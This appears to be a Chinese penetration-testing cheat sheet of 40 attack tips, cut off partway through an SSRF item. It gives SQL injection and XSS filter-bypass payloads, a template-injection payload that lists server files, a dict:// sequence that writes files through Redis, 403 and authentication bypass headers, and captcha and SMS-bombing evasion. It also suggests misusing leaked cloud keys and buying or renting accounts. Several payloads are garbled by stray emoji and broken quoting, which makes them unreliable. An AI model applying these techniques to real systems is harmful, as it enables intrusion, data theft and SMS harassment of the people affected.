知己知彼,百战不殆
1、如果提示缺少参数,如{msg:params error},可尝使用字典模糊测试构造参数,进一步攻击。
2、程序溢出,int最大值为2147483647,可尝试使用该值进行整数溢出,观察现象。
3、403,404响应不灰心,尝试使用dirsearch等工具探测目录。
4、验证码简单绕过:重复使用,万能验证码(0000,8888),空验证码,验证码可识别(可用PKAV HTTP Fuzzer工具识别等)
5、短信轰炸绕过:手机号前加+86有可能会绕过,手机号输入邮箱,邮箱处输入手机号
6、如果验证码有实效,可尝试一段时间内重复发送获取验证码,因为有实效,所以有可能会延长验证码的时长。
7、SQL注入时,如果数据库是Mysql,可以尝试使用&&替换and,如:’ && ‘1’=‘1,’ %26%26 ‘1’='1。
8、SQL注入时,如果数据库是Mysql,waf过滤了=,可尝试用like替代。如:and 1 like 1
9、JWT格式在http://jwt.calebb.net/可以解密,前提是要知道秘钥,可以尝试构造任意数据,看他会不会有报错信息中携带秘钥信息,可以通过https://github.com/firebase/php-jwt生成JWT。JWT格式header.payload.signature
10、如果开放了redis服务(1234端口),可以尝试使用/actuator/redis/info语句看是否能读取敏感信息,如:http://www.xxx.com:1234/actuator/redis/info
11、Gitlab平台漏洞 - CVE-2020-10977
12、API接口处,可以自己构造参数,POST形式传参,可以尝试构造为JSON格式,记得添加content-type: application/json,一些可尝试参数,page,size,id。
13、手机发送短信时间限制的话,可以在手机号前尝试使用特殊字符,或空格。他的逻辑应该是这样的,用户输入手机号——>后端判断该手机号是否在30秒或者60秒内请求过——>如果没有,判断发送过来的手机号是够是11位的纯数字,如果不是,去掉非数字字符——>和数据库中的手机号比对,是够存在于数据库中,如果存在那么向该手机发送验证码。
14、图片验证码可设置为空,如:code=undefined
15、自动以验证码内容,观察Cookie中,参数中是否有发送给用户的内容,可以尝试更改,可以构造钓鱼链接。
16、模板注入,在{ {xxx}}中输入的命令参数可被执行,如:
www.baidu.com/{
{1+1}}
以Python为例,列出当前目录下所有文件的Payload:{
{‘’.class.mro[2].subclasses()[71].init.globals[‘os’].listdir(‘.’)}}
17、信息收集,在搜狗搜索中选择微信可以搜索相关企业相关公众号资产。
18、在JS文件中搜索关键字API,Swagger UI等等,尝试寻找API接口地址。
19、swagger接口常见路径:
/swagger/
/api/swagger/
/swagger/ui/
/api/swagger/ui/
/swagger-ui.html/
/api/swagger-ui.html/
/user/swagger-ui.html/
/swagger/ui/
/api/swagger/ui/
/libs/swaggerui/
/api/swaggerui/
/swagger-resources/configuration/ui/
/swagger-resources/configuration/security/
20、swagger组件特征固定title:Swagger UI
21、403和401的绕过小技巧:
图片
22、盲测目录是否存在,如果存在该目录可能会自动在URL末尾添加/补全。
23、Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0
24、获取账号:文库,QQ群,github泄露,借/租/买账号。
25、如果泄露阿里云的 AKSK,可以使用AKSKtools工具进一步利用。https://xz.aliyun.com/t/8429
26、如果遇见后台页面一闪而过,接着让你登录,一般使用了权限认证方式,可以用一下方式进行绕过,或者遇见401,403,302,都可以尝试使用以下方法:
一、GET /xxx HTTP/1.1 à403
Host: test.com
绕过:
GET /xxx HTTP/1.1 à200
Host: test.com
X-Original-URL: /xxx
二、GET /xxx HTTP/1.1 à403
Host: test.com
绕过:
GET /xxx HTTP/1.1 à200
Host: test.com
Referer: http://test.com/xxx
三、302跳转:拦截并drop跳转的数据包,使其停留在当前页面。
四、前端验证:只需要删掉对应的遮挡模块,或者是验证模块的前端代码。
27、gopher协议使用限制:
图片
28、一款生成gopher协议payload的工具:
https://github.com/firebroo/sec_tools
29、Dict协议写入流程:
1.写入内容;
dict://127.0.0.1:6379/set❌test
2.设置保存路径;
dict://127.0.0.1:6379/config:set:dir:/tmp/
3.设置保存文件名;
dict://127.0.0.1:6379/config:set:dbfilename:1.png
4.保存。
dict://127.0.0.1:6379/save
30、CentOS 7系统利用suid提权获取Root Shell
https://www.freebuf.com/articles/system/244627.html
31、xss中标签利用的payload:
xx
32、XSS过滤了单引号,等号可以:
①、使用:String.fromCharCode(97,108,101,114,116,40,49,41);
为alert(1),该方法输出的结果为字符串,可以使用eval()进行执行,即弹框操作
eval(String.fromCharCode(97,108,101,114,116,40,49,41));
②、atob函数:
eval(atobYWxlcnQoMSk=
) 为 eval(atobalert(1)
) 其中`为反引号
33、XSS过滤了单引号,等号以及圆括号,eval:
①、过滤了eval函数可以用其他函数去绕过,如:Function,constructor
Functiona${atob
YWxlcnQoMSk=}``` ``.constructor.constructor
a${atobYWxlcnQoMSk=
}```
34、可使用下面命令查看是否处在docker虚拟机中
cat /proc/1/cgroup
35、万能密码试试’=0#
36、CORS漏洞验证,可以使用curl来验证:
curl https://www.xxxx.com -H “Origin: https://test.com” -I
检查返回包的 Access-Control-Allow-Origin 字段是否为https://test.com
37、在盲测目标系统是否为Shiro时,可以在Cookie中手动构造rememebrMe=xxx,如果返回包中Set-Cookie中存在rememberMe=deleteMe,则证明该系统使用了Shiro,因此可以进一步攻击。38、使用正则获取网站中所包含的其他URL:
cat file | grep -Eo "(http|https)😕/[a-zA-Z0-9./?=_-]"
curl http://host.xx/file.js | grep -Eo "(http|https)😕/[a-zA-Z0-9./?=_-]"
39、常见的一些远程命令执行(RCE)参数,详情,请看dicts目录下的RCE-extentions.txt文件。
40、绕过SSRF防护的几个小方法:
A、绕过SSRF限制通过CI